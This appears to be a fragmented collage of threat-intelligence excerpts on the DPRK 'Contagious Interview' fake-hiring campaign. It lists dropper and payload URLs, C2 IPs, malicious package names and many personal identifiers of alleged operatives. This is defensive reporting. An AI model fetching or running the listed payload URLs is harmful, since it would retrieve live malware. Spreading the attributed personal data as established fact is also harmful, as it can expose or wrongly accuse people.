malware dropper URL Year in Review https://jsonkeeper.com/b/PCDZO url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/PQPTZ url malware N/A N/A JavaScript malware…","…malware dropper URL Year in Review https://jsonkeeper.com/b/PCDZO url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/PQPTZ url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/WCXNT url malware N/A N/A JavaScript malware…","…Inside it was a URL pointing to a second-stage payload: https://jsonkeeper.com/b/UPCMV .…","…malware dropper URL Year in Review https://jsonkeeper.com/b/PQPTZ url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/WCXNT url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/XRGF3 url malware N/A N/A JavaScript malware…","…malware dropper URL Year in Review https://jsonkeeper.com/b/WCXNT url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/XRGF3 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/XV3WO url malware N/A N/A JavaScript malware…","…analysis records that this backdoor is byte identical to an earlier package, nodemon-node , that used the same Pinata CID and the same jsonkeeper.com/b/XRGF3 endpoint.…","…malware dropper URL Year in Review https://jsonkeeper.com/b/XRGF3 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/XV3WO url malware N/A N/A JavaScript malware dropper URL Year in Review https://jwt-alpha-woad.vercel.app/api url malware N/A N/A JavaScript…","…upload to attacker infrastructure Indicators of Compromise (IoC): Package: express-session-js@1.19.0 on npm C2 URL (dropper): https://jsonkeeper.com/b/YY8VI C2 IP (RAT): 216.126.237.71 C2 Ports: 4801 (socket.io + API), 4806 (file upload), 4809 (browser DB sync) Attacker UID:…","…Command and Control (C2) Endpoints # 144.172.87.27 45.61.151.71 185.153.182.241 mocki.io/v1/32f16c80-602a-4c80-80af-32a9b8220a6b m21gk.wiremockapi.cloud/g/api/880 ip-api-server.vercel.app/api/ipcheck/703 ip-check-api.vercel.app/api/ipcheck/703 MITRE ATT&CK…","…packages were published: Pastebin URL Author Views https://pastebin.com/CJ5PrtNk davidsouza23 353 https://pastebin.com/0ec7i68M Edgar04231 15 https://pastebin.com/DjDCxcsT Edgar04231 19 The view counts tell their own story.…","…hardcoded pastebin references (in the following order): Pastebin link Last edit date Pastebin user Views View my mirror/backup https://pastebin.com/CJ5PrtNk Wednesday 11th of February 2026 03:47:40 PM CDT davidsouza23 353 CJ5PrtNk https://pastebin.com/0ec7i68M Wednesday 11th of February 2026…","…https://pastebin.com/CJ5PrtNk davidsouza23 353 https://pastebin.com/0ec7i68M Edgar04231 15 https://pastebin.com/DjDCxcsT Edgar04231 19 The view counts tell their own story.…","…malware contains 1,000 encoded Pastebin profile URLs for dead drop resolution: https://pastebin.com/u/HolesGarmin3166_OnsitePoet2677 https://pastebin.com/u/CrackEden1251_WaitsRenee9809 https://pastebin.com/u/KerrWhale2274_KnowNtsc6785 ...…","…URLs for dead drop resolution: https://pastebin.com/u/HolesGarmin3166_OnsitePoet2677 https://pastebin.com/u/CrackEden1251_WaitsRenee9809 https://pastebin.com/u/KerrWhale2274_KnowNtsc6785 ...…","…downloads and executes the next stage from a JSON Keeper URL - https://www.jsonkeeper.com/b/QJZCG .…","…insider N/A N/A Threat actor persona phone number 4 14358179097 phone number insider N/A N/A Threat actor persona phone number 4 3508704464 phone number insider N/A N/A Threat actor persona phone number 4 4796004206 phone number insider N/A N/A Threat actor persona phone…","…SECONDARY PHONE CLUSTER - +1 (410) 702-3321 & PRYTANIA CONSULTING 8.…","…insider N/A N/A Threat actor persona phone number 4 89883507137 phone number insider N/A N/A Threat actor persona phone number 4 14358179097 phone number insider N/A N/A Threat actor persona phone number 4 3508704464 phone number insider N/A N/A Threat actor persona phone…","…email insider N/A N/A Threat actor persona email 3 iamjanus66@gmail.com email insider N/A N/A Threat actor persona email 3 4696382784 phone number insider N/A N/A Threat actor persona phone number 3 brianyoung.luck@gmail.com email insider N/A N/A Threat actor persona…","…https://x.com/steven228312 * LinkedIn: https://www.linkedin.com/in/steven-leal-183252338/ * Instagram: instagram.com/steven228312 * Phone: +1 (470) 621 2757 ----------------- ### Sebastian Robinson * GitHub: https://github.com/BinaryBard-0604 * Portfolio:…","…insider N/A N/A Threat actor persona phone number 4 3508704464 phone number insider N/A N/A Threat actor persona phone number 4 4796004206 phone number insider N/A N/A Threat actor persona phone number 4 5596103595 phone number insider N/A N/A Threat actor persona phone…","…PHONE CLUSTER: +1 (480) 271-8467 6.1 DreamHi.co (Defunct) 6.2 QN Software (Vietnam - Defunct) 6.3 QN Software: Face-Swapped Team Photos 6.4 SprintiQ.ai: Same Phone…","…email insider N/A N/A Threat actor persona email 4 olegevgen@inbox.lt email insider N/A N/A Threat actor persona email 4 15414257086 phone number insider N/A N/A Threat actor persona phone number 4 89883507137 phone number insider N/A N/A Threat actor persona phone…","…insider N/A N/A Threat actor persona phone number 4 4796004206 phone number insider N/A N/A Threat actor persona phone number 4 5596103595 phone number insider N/A N/A Threat actor persona phone number 4 Start your free 30-day GitLab trial GitLab Duo Agent…","…Her WhatsApp number is +1 7127594675.…","…Operative Details The suspected DPRK operative applied to the Lead AI Architect role using the following PII. Phone: 850-308-4867 Email address: Jo***@gmail.com Address: Palm Beach Gardens, FL 33410 IPs: 167.88.61.250 and 167.88.61.117…","…detailed below. Blocknovas.com Business Details Other information about the organization included: Website: Blocknovas.com Phone: +1 (925) 953-2975 Email: contact@blocknovas.com Calendly Link: calendly.com/contact-blocknovas/30min Additionally, BlockNovas had a presence on several…","…actor’s personal site lists the following contact information: Name: Dmytro Vivsuk Email: dmytroviv1@gmail.com Phone number: +380 95 676 27 42 LinkedIn: https://www.linkedin.com/in/dmytro-vivsuk-a568242b6/ (leads to a 404, likely banned profile) Assessment Based on our…","…Email:oscarjj0924@gmail.com Phone:+522212528618 #(WhatsApp, Telegram) To compensate for this, and as thanks for reading this far, here’s a little extra. The image of the Mole wearing…","…A ccording to records from Binance, the phone number used to register one of KIM ’ s Binance Accounts was Russia - based phone number +79510124209.…","…email insider N/A N/A Threat actor persona email 4 15414257086 phone number insider N/A N/A Threat actor persona phone number 4 89883507137 phone number insider N/A N/A Threat actor persona phone number 4 14358179097 phone number insider N/A N/A Threat actor persona phone…","…by Nisos-confirmed DPRK actor Naoyuki Tanaka 4 Vietnam nexus DreamHi.co and QN Software share Danang Vietnam address and phone +84 366 756 552 5 Image fabrication Face-transplant technique on Beejern UpWork profile and QN Software team photos — same fabrication toolkit 6…","…account used by Chong Ryu Song - op161021 Telegram account used by Chong Ryu Song - op_1021_ WeChat account used by Chong Ryu Song - +86-130-1980-4700 Chinese phone number used by Chong Ryu Song Held under the name of Tan Ranran (潭冉冉) - www.linkedin.com/in/lai-wewang-ba355a1a2 LinkedIn…","…insider N/A N/A Threat actor-controlled email 1 wangsmithsilverstar@gmail.com email insider N/A N/A Threat actor-controlled email 1 8613341122552 phone number insider N/A N/A Mobile number of China-based cell member 1 8618811177571 phone number insider N/A N/A Mobile number of…","…N/A Mobile number of China-based cell member 1 8619910229812 phone number insider N/A N/A Mobile number of China-based cell member 1 8613381035676 phone number insider N/A N/A Mobile number of China-based cell member 1 tinsimonov@outlook.com email insider N/A N/A Synthetic persona…","…N/A Mobile number of China-based cell member 1 8618811177571 phone number insider N/A N/A Mobile number of China-based cell member 1 8617701222967 phone number insider N/A N/A Mobile number of China-based cell member 1 8618911321235 phone number insider N/A N/A Mobile number of…","…LinkedIn profile used by Chon Kwon Uk - top522816(ID : Zhong) Telegram account used by Chon Kwon Uk - 86-186-4155-7481 Chinese phone number used by Chon Kwon Uk - pokerstar888 Skype ID used by a Kyonghung IT worker - .cid.e8cef90c3b01c236 Skype ID used by…","…N/A N/A Threat actor-controlled email 1 8613341122552 phone number insider N/A N/A Mobile number of China-based cell member 1 8618811177571 phone number insider N/A N/A Mobile number of China-based cell member 1 8617701222967 phone number insider N/A N/A Mobile number of…","…N/A Mobile number of China-based cell member 1 8617701222967 phone number insider N/A N/A Mobile number of China-based cell member 1 8618911321235 phone number insider N/A N/A Mobile number of China-based cell member 1 8619910229812 phone number insider N/A N/A Mobile number of…","…N/A Mobile number of China-based cell member 1 8618911321235 phone number insider N/A N/A Mobile number of China-based cell member 1 8619910229812 phone number insider N/A N/A Mobile number of China-based cell member 1 8613381035676 phone number insider N/A N/A Mobile number of…","Malicious PyPI package from the April 2026 cross-ecosystem Contagious Interview wave, named to impersonate a license-management utility.","Malicious PyPI package from the April 2026 cross-ecosystem Contagious Interview wave, named to impersonate an HTTP client library.","Malicious PyPI package from the April 2026 cross-ecosystem Contagious Interview wave, part of the same license/logging-utility naming theme as apachelicense and logutilkit.","Malicious PyPI package from the April 2026 cross-ecosystem Contagious Interview wave; logging-utility-themed name mirrors the campaign's npm-side naming pattern in the same wave.","…0072 https://yhype.me/github/@branchdev98 https://repos.ecosyste.ms/hosts/GitHub/owners/athenaweb629 https://codesandbox.io/u/benbarker0311 https://www.remotehub.com/alexwang1030 https://yhype.me/github/@BlackSpider8391 https://yhype.me/github/@happydev0126 https://www.idcrawl.com/aleksandar-brankovic https://discour…","…The persona’s profiles on freelancer websites include: https://remoteok.com/@karlchong https://laborx.com/freelancers/users/id100369 https://www.remotehub.com/karl.chong https://www.xing.com/profile/Karl_Chong To obtain the complete research report, including…","…The persona’s profiles on freelancer websites include: https://remoteok.com/@karlchong https://laborx.com/freelancers/users/id100369 https://www.remotehub.com/karl.chong https://www.xing.com/profile/Karl_Chong…","…ww.npmjs.com/package/@joinerdavid0213/polkadot-connect https://forum.dfinity.org/u/kakashie1004/summary https://sketchfab.com/kennydavis120 https://remoteok.com/@kodakdominus https://community.openai.com/u/korvalev234234/summary https://dev.to/korvalev234234 https://dev.to/phoenixdevguru https://workspace.ru/id/m…","…Pixelcraft (2022), Munchables (2024) - grudev325 - sr.paul.song@gmail.com - seniordev1225@gmail.com - t.me/grudev325 - seniordev - remoteok.com/@seniordev - linkedin.com/in/paul-song-225505224/ - paul-song-cv.herokuapp.com #### Paul Martin / cryptopunk / gru1125 - Pixelcraft (2022) -…","…(dead) * GitHub 2: https://github.com/saas98 * Email 1: shiroennosuke@gmail.com * Email 2: shiroennosuke@outlook.com * Skype: live:.cid.3e86d89d20526f6b * Telegram: https://t.me/oh9898 * Daily DEV 2: https://dev.to/pavlo_posternak_4fe8f9439 * Same Profile Photo as the now dead…","…github.com/SirBang - x.com/DerekMillerDev - t.me/DerekGameDev (ID: 6451750406) • ([Messages](./user-6451750406-@DerekGameDev.txt)) - live:.cid.73d9933f3c8fe3e3 - https://derekgamedev.com - https://www.guru.com/freelancers/derekgamedev/portfolio - https://www.fiverr.com/derekmiller03 -…","…--------- Emails: derek.miller0003@gmail.com derek.miller03@outlook.com Github: https://github.com/SirBang Telegram: DerekGameDev Skype: live:.cid.73d9933f3c8fe3e3 Hiring…","…github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled - linkedin.com/in/jaycee-tran-a2873230b/ - Discord: newstable - live:.cid.f4e6d1509205ccdd #### SirBang / Derek Miller - Derek Miller - SirBang - derek.miller0003@gmail.com - derek.miller03@outlook.com -…","…s://github.com/sasuke031026 https://github.com/sasuke1026 https://github.com/sasukeuchiha Telegram: newstabled Discord: newstable Skype: live:.cid.f4e6d1509205ccdd Hiring Websites: https://www.linkedin.com/in/jaycee-tran-a2873230b/ Personas: Jaycee Tran Sasuke Uchiha SirBang (Derek…","…t.me/trust0205 (ID: 5874346391) • ([Messages](./user-5874346391-@trust0205.txt)) - Discord Talented Blockchain#3570 - Skype live:.cid.ffe8d0454926464f - https://linkedin.com/in/promise-law - https://pl.linkedin.com/in/marcin-iwanski-b699b02b8 -…","…Blockchain#3570 Skype: live:.cid.ffe8d0454926464f Hiring…","…0x21Cbb5187050D0B20eb1F858F6Ef07D6DFfA3653 - 0x139Ce0B76B4BBBB392112cc23152A4688bf651c5 #### Jova (Wolf on Sol) - besmart - Milos D - t.me/ai_crypto_guru - github.com/relforce/ --- #### MORE WORKERS #### Kei Nakano / smartcoding51 - OneStake Finance, 2024, [Zach's…","Found on 18 September 2026 by putting alexandrs888, one of the GitHub logins browsercookies grouped into this cluster, to Maigret's username search and reading the Telegram page it reported, cited here. The page states the display name Alexandr and no bio. The display name is kept here rather than carried as an alias, because a bare given name on a Telegram page is not a name the operator presents to an employer, and the cluster itself is a grouping of accounts rather than a person. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","…investigate this matter.\" - altpl - jikun - jliao - peezenut - jikun@mygameswap.com - jliao@mygameswap.com - peezenut@gmail.com - t.me/altpl - linkedin.com/in/jikun-liao-794b61162/ - https://vk.com/id578519076 [Archive](https://archive.ph/SWt2n) -…","…Other names: rustynail015, rusty015, Solust_Rusty Discord: rusty102 / 397440130744320035 Telegram: idioRusty Telegram URL: https://t.me/anotherrusty Email: nailrusty.dev@gmail.com Email: matthiasli.mt@gmail.com Name & Address (Fake): Mathias Li Address: 4515 Coronado St.…","…2021, 2022, 2023, 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - Chris Yu - Bryan Cho - atroobj - bugarnet - t.me/atroobj - atroboj@gmail.com - github.com/atroboj • [Archive](https://archive.ph/x0LMf) - github.com/bugarnet (2021, Despace) -…","…Dumitras - Has Indian facilitators - +7 906 832 7335 - blockchain41673 - blockchainstar18@gmail.com - x.com/blockchain41673/ - t.me/bcstar18 (ID: 5915387318) • [Messages](./user-5915387318-@bcstar18.txt) - 188.43.235.177 Mar 2022 - 188.43.33.249 Sept 2024 - 83.234.227.52 Dec…","…Ares - github.com/elitegooddev • [Archive](https://web.archive.org/web/20250827062106/https://github.com/EliteGoodDev?tab=following) - t.me/bestdiamond9 (ID: 7220566650) • ([Messages](./user-7220566650-@bestdiamond9.txt)) - Note: TG claims to be Dusan Radoѕvⅼjeviс.…","The X, Telegram and YouTube accounts the report gives for the GitHub account justshiftjk, one of the DPRK IT workers in the organisations it examines.","…dar_winpizza@hotmail.com - jaleksandar806@gmail.com - putnikdeveloperbg@gmail.com - linkedin.com/aleksandar-jovanovic-28bb5023b - t.me/bigforniture1126 (ID: 6251624532) - rok.co/@alek806 --- #### Hiroto Iwaki / Taku Yamamoto / Iwaki Hiroto - mymiracle0118 - iwakihiroto -…","…https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-1.png) #### Phillip Masaki - github.com/bio1oo1 - t.me/Bio_1001 - https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-2.png) #### Thomas Lin - github.com/lin-crypto -…","…{\"id\":\"785a1dd48228a825\",\"type\":\"link\",\"url\":\"https://t.me/blategold\",\"x\":7020,\"y\":-1220,\"width\":400,\"height\":400},…","…github.com/WKingdom01 - https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-1.png) #### BlueSoft - t.me/bluesoft2100 - github.com/CoffeeFam84 • [Archive](https://web.archive.org/web/20241105123158/https://github.com/CoffeeFam84) -…","…https://x.com/browsercookies/status/1933591202550723029 - ![](./1933591202550723029-2.png) #### 2401 - github.com/aimachieve - t.me/BlueStar0805 - https://x.com/browsercookies/status/1933591202550723029 - ![](./1933591202550723029-3.png) #### MISC - snowjaguar625 -…","…Bost - North Carolina - https://x.com/0xzozozo/status/1824117629214130436 - ![](./1824117629214130436.jpeg) #### Minato Tanaka - t.me/cdevm - github.com/WKingdom01 - https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-1.png) #### BlueSoft -…","…medium.com/@chaisomsri96 - linkedin.com/in/chai-somsri - github.com/ChaiSomsri96 • [Archive](https://archive.ph/eRFnu) - t.me/chaisomsri (ID: 7022528006) - chaisomsri96@gmail.com - georgecapraroiu1205@gmail.com - melonman913@gmail.com -…","…Choi - bitbaby888@gmail.com - mauro@blueberry.garden (blueChamel) - pwongexcal@gmail.com (0xchamel) - zhaoa4317@gmail.com (zhChameleon) - t.me/chamel92 (ID: 6635242888) • ([Messages](./user-6635242888-@chamel92.txt)) - t.me/lladefa (ID: 1167965872) •…","…/ codeninja819 - Tokyo, JP - codeninja819 - jiromatsumoto98@gmail.com - linkedin.com/in/codeninja819 - github.com/codeninja819 - t.me/codeninja819_eth (ID: 6418622184) • ([Messages](./user-6418622184-@codeninja819_eth.txt)) - x.com/codeninja819 - calendly.com/codeninja819 -…","…{\"id\":\"fa1868537036c1bd\",\"type\":\"text\",\"text\":\"https://t.me/coinbit25\",\"x\":2680,\"y\":150,\"width\":250,\"height\":60,\"color\":\"4\"},…","…https://x.com/blackbigswan/status/1987891292899303598/photo/1 #### David Park - Cooldev_900 - cooldev900 - davdpark1026 - t.me/Cooldev_900 (ID: 8369486870) - x.com/davdpark1026 - github.com/cooldev900 - 0xF7A3Eb4418F5f186060A9fB8ee85d7362C632a6d - ![](./david-park.jpeg) -…","…github.com/superlwclx - github.com/LucasWongC • [Archive](https://web.archive.org/web/20250108192702/https://github.com/LucasWongC) - t.me/cox1118 (ID: 5034927805) • ([Messages](./user-5034927805-@cox1118-Lucas-Wong.txt)) - lucas.wong.1118@gmail.com - wm111898@gmail.com - Discord:…","…x.com/CryptoFist - github.com/CryptoFist • [Archive](https://web.archive.org/web/20250420114428/https://github.com/CryptoFist) - t.me/CryptoFist1002 (ID: 5000783370) • ([Messages](./user-5000783370-@CryptoFist1002.txt)) - linkedin.com/in/kell-daniel-964a49245 -…","…{\"id\":\"a881ac02b969d8a8\",\"type\":\"link\",\"url\":\"https://t.me/da1asin\",\"x\":6220,\"y\":-2840,\"width\":400,\"height\":400}, {\"id\":\"e05d18c461fcb157\",\"type\":\"text\",\"text\":\"#…","…github.com/loganworld - github.com/logan-smith-cloud - github.com/jeevan8888 - github.com/smirnovvvasyl - t.me/defiworld_dev (ID: 5157722477) • ([Messages](./user-5157722477-@defiworld_dev.txt)) - t.me/loganworld - t.me/logan_lee_c - Current Project: Hogwarz,…","…![](./1934290466054553751-4.png) - ![](./X_2025-11-22_KoppAnatoli.png) #### Denis Rudink - mykola1027 - Yang Da Hai - webstar1027 - t.me/denis_rudink - https://freelancermap.com/profile/denis-rudink - https://x.com/browsercookies/status/1934280908103884850 -…","…Derek Miller - SirBang - derek.miller0003@gmail.com - derek.miller03@outlook.com - github.com/SirBang - x.com/DerekMillerDev - t.me/DerekGameDev (ID: 6451750406) • ([Messages](./user-6451750406-@DerekGameDev.txt)) - live:.cid.73d9933f3c8fe3e3 - https://derekgamedev.com -…","…![](./munchables-super1114.jpeg) #### Kaiming Hong / Warren Sinclair - devkitty803 - warrensinclair744 - t.me/devkitty803 (ID: 5102864895) - 0xf69201AA19C540b74c170A545Fc6d8805e0EE9b1 #### Paul Martin / Werewolves0493 - Munchables (2024) - Werewolves0493 -…","…BTC415 used by Mark Limuel Santiago * Bio states, \"Technical Co-founder of TAOI\" * Telegram 1: https://t.me/stevendev0822 * Telegram 2: https://t.me/dodger0213 * Email 1: stevenpiao0822@gmail.com * Email 2: mitsurukudo213@gmail.com * Email 3: steven0822.dev@gmail.com * Twitter:…","…/www.linkedin.com/company/dredsoft-labs https://dredsoftlabs.slack[].com/ https://mail.google.com/mail/?view=cm&to=support@dredsoftlabs.com https://t.me/dredsoft They take the time to have enough of following on LinkedIN to appear legit.…","…devstar.sky20@gmail.com - github.com/cydn95 - 204.44.106.96 - t.me/micry 1012606692 - x.com/adchy2000 - t.me/wdev733 - t.me/dss2000 - 0x8260C20b4CE2014d760bE6dE7CDD98c4f12b68F8 - 0x574eC5a661c3eaA610438C4a249BCFC066c4a579 -…","…which earned him a DMCA takedown on Github ### hexnome - OuraKano - x.com/hexnome - hexnome88@gmail.com - kevinsmartinez0412@gamil.com - t.me/Ee1030109 (ID: 7147733300) • [Messages](./user-7147733300-@Ee1030109.txt) - github.com/hexnome ### chain_sats - leionion - chain_sats -…","…https://www.linkedin.com/in/john-wilhelmsson-17b3a0219/ https://t.me/elvencoin/2139 8/19/2021 #### Naoki Murano - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - Umnal IT worker, Choe Il-kuk…","…Kazune Takeda - mtfuji25 - mtfuji25 - borrdd34 - kazunetakeda25 - kazune.takeda@yahoo.com - t.me/ETHFuji (ID: 5407827675) • ([Messages](./user-5407827675-@ETHFuji.txt)) - github.com/mtfuji25 - npmjs.com/~kazunetakeda25 - AKA Joe Hisaishi -…","…codewarrier3000@gmail.com - github.com/TalentKingDev - linkedin.com/in/jvmontero-35/ - lucky.godness.tan@gmail.com - t.me/expertvetted7 (ID: 7030416097) • [Messages](./user-7030416097-@expertvetted7-codewarrier3000.txt) - +380 97 432 9217 - 188.43.14.13 -…","…topcodebeast - github.com/topcodebeast • [Archive](https://web.archive.org/web/20250722051253/https://github.com/TopCodeBeast) - t.me/flashhypo - maxb47163@gmail.com - coronarider01@gmail.com - neoprince1992@gmail.com - judekinsley911@gmail.com - icarodev1031@gmail.com -…","…Paul Song / grudev325 - Pixelcraft (2022), Munchables (2024) - grudev325 - sr.paul.song@gmail.com - seniordev1225@gmail.com - t.me/grudev325 - seniordev - remoteok.com/@seniordev - linkedin.com/in/paul-song-225505224/ - paul-song-cv.herokuapp.com #### Paul Martin /…","…• [Archive](https://web.archive.org/web/20250827054724/https://github.com/stabble-dev) - socket.dev/npm/user/stabbledev - t.me/haodev007 (ID: 5312921424) • ([Messages](./user-5312921424-@haodev007.txt)) - ![](./X_2025-11-22_haodev007.png) #### Ming Tai - Igor Babe -…","…Cho / Anderson Lee - eweubr3289 - hashbirdcho - rango527 - eweubr3289@gmail.com - https://www.linkedin.com/in/andy-cho-6ba380309/ - https://t.me/hashbirdcho - https://t.me/rango527 - 0xD85e7eB377635517eBA5310591F68F4771Da9523 - Payroll - 0x2fa1789b009a05921eb64f10b8f0d30684661d2d - Stolen…","…2024 - One dev, one \"artist\", scammed - btcwhiz - abcd_0621_ - hunter0409 - building_jk - x.com/abcd_0621_ - github.com/btcwhiz - t.me/hunter0409 (ID: 5031331438) • ([Messages](./user-5031331438-@hunter0409-munchables-pete-yama.txt)) - ![](./bill-tovitt-pete-yama.png) --- ## Pine…","…Github: https://github.com/m4rcu5o Other Names: Hudesdev, husreodev, MacSolDev, PupSol E-mail: hudes0112@gmail.com Telegram: https://t.me/idioRusty (shared with AnotherRusty) Old Telegram: itsmyturn93 Twitter (active): https://x.com/m4rcu5o Portfolio: matthiasli.com (shared with…","…{\"id\":\"1bc383fc7ebf61d5\",\"type\":\"link\",\"url\":\"https://t.me/idioRusty\",\"x\":3820,\"y\":-420,\"width\":400,\"height\":400},…","…• ([Messages](./user-6635242888-@chamel92.txt)) - t.me/lladefa (ID: 1167965872) • ([Messages](./user-1167965872-@lladefa.txt)) - t.me/imyugioh (ID: 1036098681) • ([Messages](./user-1036098681-@imyugioh.txt)) - 0xc9b46489567684aafbe85e8a783bb9bfb822807f - T -…","…![](./1934280908103884850-2.png) - ![](./X_2025-11-22_PinnacleFTSO.png) #### Lover Man - github.com/itloverman (404) - t.me/itloverman (ID: 6093085915) • ([Messages](./user-6093085915-@itloverman.txt)) - https://x.com/browsercookies/status/1933591202550723029 -…","…• [Archive](https://web.archive.org/web/20240115053832/https://github.com/mymiracle0118) - iwakihiroto-portfolio.vercel.app - t.me/iwakihiroto (ID: 7074147770) • ([Messages](./user-7074147770-@iwakihiroto.txt)) - https://x.com/blackbigswan/status/1913290058670416183 -…","…Lee - Claimed Hong Kong - Has Citibank - jamie088 - brchwork - jameslee - https://github.com/jamie088 - brchwork@gmail.com - t.me/jamie088 - 0x8F5eBDdcf2bae86D3A4E3C4De427E705d2eBF432 - 0x642F68586E0DeBe358B0C65feF81B1A9498d6477 - ![](./wdev733-cydn95.jpg) #### Nathan Cao /…","…linkedin.com/in/janul-azwan-7b1612361/ - immunefi.com/profile/ethprotector/ - t.me/janbuidl (ID:7245484067) • ([Messages](./user-7245484067-@janbuidl-@mrcontract17877-@0xtomoon-Jannik-Villostas.txt)) #### Peter Wang - 2025 -…","…kdevdivvy - dev4all.sol / dev4alldotsol - keisukew53 - 0xWoo (minor username) - hirayama1534 (2021) - watanabeatari@gmail.com - t.me/kAsky53 (ID: 1914451016) • ([Messages](./user-1914451016-@kAsky53.txt)) - dev4all.sol = JBxidGWnhtPTGg8xw7sFT9tF4cfGtHnjYNp5GDJvGveh -…","…github.com/kei-tren • [Archive](https://archive.ph/fhKTT) - keinakano415@gmail.com - x.com/kn_amm51 - t.me/kn_amm (ID: 1967508345) - 0x21e5d5a6e40b32cff77cfe77dca034d6d410131d - 0x452f205c6c3872691fbce7ce8438370466d55f76 -…","…leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 - github.com/leopawel - t.me/komonado (ID: 1017960142) • ([Messages](./user-1017960142-@komonado.txt)) - https://www.lancers.jp/profile/camonanesi -…","…github.com/bejaxer (Name: 0x A.K.) • [Archive](https://web.archive.org/web/20221130173129/https://github.com/bejaxer) - t.me/lcoppn (ID:749123222) - linkedin.com/in/anthony-keller-022486183/ - 0x4717Af66032b1Dbc35d9b1182F9240994A11bf01 -…","…https://x.com/browsercookies/status/1933591202550723029 - ![](./1933591202550723029-1.png) #### Ninja - t.me/leonk0804 - https://x.com/browsercookies/status/1933591202550723029 - ![](./1933591202550723029-2.png) #### 2401 - github.com/aimachieve -…","…https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-2.png) #### Thomas Lin - github.com/lin-crypto - t.me/lin_crypto1012 - linkedin.com/thomaslindev (404) - https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-3.png) ####…","…(0xchamel) - zhaoa4317@gmail.com (zhChameleon) - t.me/chamel92 (ID: 6635242888) • ([Messages](./user-6635242888-@chamel92.txt)) - t.me/lladefa (ID: 1167965872) • ([Messages](./user-1167965872-@lladefa.txt)) - t.me/imyugioh (ID: 1036098681) •…","…github.com/smirnovvvasyl - t.me/defiworld_dev (ID: 5157722477) • ([Messages](./user-5157722477-@defiworld_dev.txt)) - t.me/loganworld - t.me/logan_lee_c - Current Project: Hogwarz, hogwarz.com - upwork.com/freelancers/~014d511b5978bb9853 - Atari Token:…","Found on 18 September 2026 by putting m4rcu5o, the GitHub login this persona is named for, to Maigret's username search and reading the Telegram page it reported, cited here. The page states the display name M4rcu5, a restatement of the handle, and no bio. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","…maodan466@gmail.com - putnikdeveloperbg@gmail.com - spaceboy00@gmail.com - topstack2021a@gmail.com - 0xquantech - t.me/MaoDan007 (ID: 5089966453) • ([Messages](./user-5089966453-@MaoDan007-Sol Crazy.txt)) #### alek806 aka Aleksandar Jovanovic - alek806 -…","…https://app.daily.dev/alenschmitt * Same profile photo as BTC415 and luckypenny1632333 * As such, also used by Steven Leal * Telegram: https://t.me/marksantiago02 * Email: marksantiago0929@gmail.com ----------------- ### Steven Leal / Mitsuru Kudo * GitHub 1: https://github.com/steven228312 * GitHub…","…Claimed Chinese, Hong Kong - fullstack412 - jaclindev99 - MEMELOVE112 - jacklin - github.com/fullstack412 - x.com/jaclindev99 - t.me/MEMELOVE112 - jaclindev99@gmail.com - https://x.com/jaclindev99/status/1930340527645597981 - 0x2175e091176F43eD55313e4Bc31FE4E94051A6fE -…","…Chris Yon - wdev733 - wdev733@gmail.com - devstar.sky20@gmail.com - github.com/cydn95 - 204.44.106.96 - t.me/micry 1012606692 - x.com/adchy2000 - t.me/wdev733 - t.me/dss2000 - 0x8260C20b4CE2014d760bE6dE7CDD98c4f12b68F8 -…","…Leon - Leon Lin (mmsys34, 0xhiler) - 2025 - leonxdev1 - leonxdev1@gmail.com - mmsys - mmsys34 - 0xhiler - moreleon - t.me/moreleon (ID: 7071594535) - 0x64d668978ddd6145d4f192eefb03691b75f65096 #### Leon - Abe Sinjiro (prodigy205) - 2024 - naruto0913 - prodigy205 -…","…{\"id\":\"d590f08c5ba68844\",\"type\":\"link\",\"url\":\"https://t.me/mutantrolls\",\"x\":7680,\"y\":2390,\"width\":400,\"height\":400},…","…github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled - linkedin.com/in/jaycee-tran-a2873230b/ - Discord: newstable - live:.cid.f4e6d1509205ccdd #### SirBang / Derek Miller - Derek…","…Grin - github.com/Grin0502 • [Archive](https://web.archive.org/web/20250626063659/https://github.com/Grin0502) - Grin0502@gmail.com - t.me/NimbusDev - https://x.com/browsercookies/status/1933686204668784823 - ![](./1933686204668784823-3.png) #### BrySky - github.com/develrocket -…","…Email 1: shiroennosuke@gmail.com * Email 2: shiroennosuke@outlook.com * Skype: live:.cid.3e86d89d20526f6b * Telegram: https://t.me/oh9898 * Daily DEV 2: https://dev.to/pavlo_posternak_4fe8f9439 * Same Profile Photo as the now dead phantom-98 ----------------- ### Andrew…","…{\"id\":\"197215266049bb70\",\"type\":\"text\",\"text\":\"https://t.me/oliparker000\",\"x\":-1345,\"y\":950,\"width\":250,\"height\":60,\"color\":\"4\"},…","…https://x.com/browsercookies/status/1934280908103884850 - ![](./1934280908103884850-1.png) #### Louise Egan - x.com/PinnacleFTSO - t.me/pacle002 - github.com/Brilliantwebdev1125 (404/down) - linkedin.com/in/louis-egan/ (404/down) -…","…on PHRACK #71 Contagious Interview on PagedOut #4 (Page 76) IOCs Indicators of Compromise IPv4:194.33.45.162 URL:https://t.me/peregrine423f URL:aaronzeeshan.slack.com URL:aaronsfazzy.slack.com URL:https://github.com/7codewizard URL:https://github.com/neymafullstack…","…Peter Wang - 2025 - petherwang@gmail.com - github.com/hapetherw - x.com/hapetherw - 